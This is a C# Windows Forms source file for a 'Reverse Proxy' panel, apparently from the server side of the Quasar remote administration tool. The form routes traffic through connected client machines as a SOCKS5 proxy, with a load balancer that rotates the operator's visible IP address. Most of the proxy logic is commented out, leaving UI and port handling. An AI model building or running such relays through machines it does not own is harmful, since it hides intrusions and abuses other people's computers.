using Server.Connection; using Server.Helper; using Server.Properties; using System; using System.Globalization; using System.Net.Sockets; using System.Windows.Forms; namespace Quasar.Server.Forms { public partial class FrmReverseProxy : Form { /// /// The clients which can be used for the reverse proxy. /// private readonly Clients[] _clients; /// /// The message handler for handling the communication with the clients. /// //private readonly ReverseProxyHandler _reverseProxyHandler; /// /// The open reverse proxy connections. /// private ReverseProxyClient[] _openConnections; /// /// Initializes a new instance of the class using the given clients. /// /// The clients used for the reverse proxy form. public FrmReverseProxy(Clients[] clients) { this._clients = clients; //this._reverseProxyHandler = new ReverseProxyHandler(clients); RegisterMessageHandler(); InitializeComponent(); } /// /// Registers the reverse proxy message handler for client communication. /// private void RegisterMessageHandler() { //_reverseProxyHandler.ProgressChanged += ConnectionChanged; //MessageHandler.Register(_reverseProxyHandler); } /// /// Unregisters the reverse proxy message handler. /// private void UnregisterMessageHandler() { //MessageHandler.Unregister(_reverseProxyHandler); //_reverseProxyHandler.ProgressChanged -= ConnectionChanged; } /// /// Called whenever a client disconnects. /// /// The client which disconnected. /// True if the client connected, false if disconnected /// TODO: Handle disconnected clients private void ClientDisconnected(Clients client, bool connected) { if (!connected) { this.Invoke((MethodInvoker)this.Close); } } private void FrmReverseProxy_Load(object sender, EventArgs e) { if (_clients.Length > 1) { this.Text = "Reverse Proxy [Load-Balancer is active]"; lblLoadBalance.Text = "The Load Balancer is active, " + _clients.Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works"; } else if (_clients.Length == 1) { //this.Text = WindowHelper.GetWindowTitle("Reverse Proxy", _clients[0]); lblLoadBalance.Text = "The Load Balancer is not active, only 1 client is used, select multiple clients to activate the load balancer"; } nudServerPort.Value = Settings.Default.ReverseProxyPort; } private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e) { Settings.Default.ReverseProxyPort = GetPortSafe(); UnregisterMessageHandler(); //_reverseProxyHandler.Dispose(); } private void ConnectionChanged(object sender, ReverseProxyClient[] proxyClients) { //lock (_reverseProxyHandler) //{ // lstConnections.BeginUpdate(); // _openConnections = proxyClients; // lstConnections.VirtualListSize = _openConnections.Length; // lstConnections.EndUpdate(); //} } private void btnStart_Click(object sender, EventArgs e) { try { ushort port = GetPortSafe(); if (port == 0) { MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } //_reverseProxyHandler.StartReverseProxyServer(port); ToggleConfigurationButtons(true); } catch (SocketException ex) { if (ex.ErrorCode == 10048) { MessageBox.Show("The port is already in use.", "Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } else { MessageBox.Show($"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}", "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } } catch (Exception ex) { MessageBox.Show($"An unexpected error occurred: {ex.Message}", "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } } /// /// Safely gets the value from the and parses it as . /// /// The server port parsed as . Returns 0 on error. private ushort GetPortSafe() { var portValue = nudServerPort.Value.ToString(CultureInfo.InvariantCulture); return (!ushort.TryParse(portValue, out ushort port)) ? (ushort)0 : port; } /// /// Toggles the activatability of configuration controls. /// /// When set to true the configuration controls get enabled, otherwise they get disabled. private void ToggleConfigurationButtons(bool started) { btnStart.Enabled = !started; nudServerPort.Enabled = !started; btnStop.Enabled = started; } private void btnStop_Click(object sender, EventArgs e) { ToggleConfigurationButtons(false); //_reverseProxyHandler.StopReverseProxyServer(); } private void nudServerPort_ValueChanged(object sender, EventArgs e) { lblProxyInfo.Text = string.Format("Connect to this SOCKS5 Proxy: 127.0.0.1:{0} (no user/pass)", nudServerPort.Value); } private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualItemEventArgs e) { //lock (_reverseProxyHandler) //{ // if (e.ItemIndex < _openConnections.Length) // { // ReverseProxyClient connection = _openConnections[e.ItemIndex]; // e.Item = new ListViewItem(new string[] // { // connection.Client.EndPoint.ToString(), // connection.Client.Value.Country, // (connection.HostName.Length > 0 && connection.HostName != connection.TargetServer) ? string.Format("{0} ({1})", connection.HostName, connection.TargetServer) : connection.TargetServer, // connection.TargetPort.ToString(), // GetHumanReadableFileSize(connection.LengthReceived), // GetHumanReadableFileSize(connection.LengthSent), // connection.Type.ToString() // }) { Tag = connection }; // } //} } public static string GetHumanReadableFileSize(long size) { double len = size; int order = 0; while (len >= 1024 && order + 1 < Sizes.Length) { order++; len = len / 1024; } return $"{len:0.##} {Sizes[order]}"; } private static readonly string[] Sizes = { "B", "KB", "MB", "GB", "TB", "PB" }; private void killConnectionToolStripMenuItem_Click(object sender, EventArgs e) { //lock (_reverseProxyHandler) //{ // if (lstConnections.SelectedIndices.Count > 0) // { // //copy the list, it could happen that suddenly the items de-select // int[] items = new int[lstConnections.SelectedIndices.Count]; // lstConnections.SelectedIndices.CopyTo(items, 0); // foreach (int index in items) // { // if (index < _openConnections.Length) // { // ReverseProxyClient connection = _openConnections[index]; // connection?.Disconnect(); // } // } // } //} } } }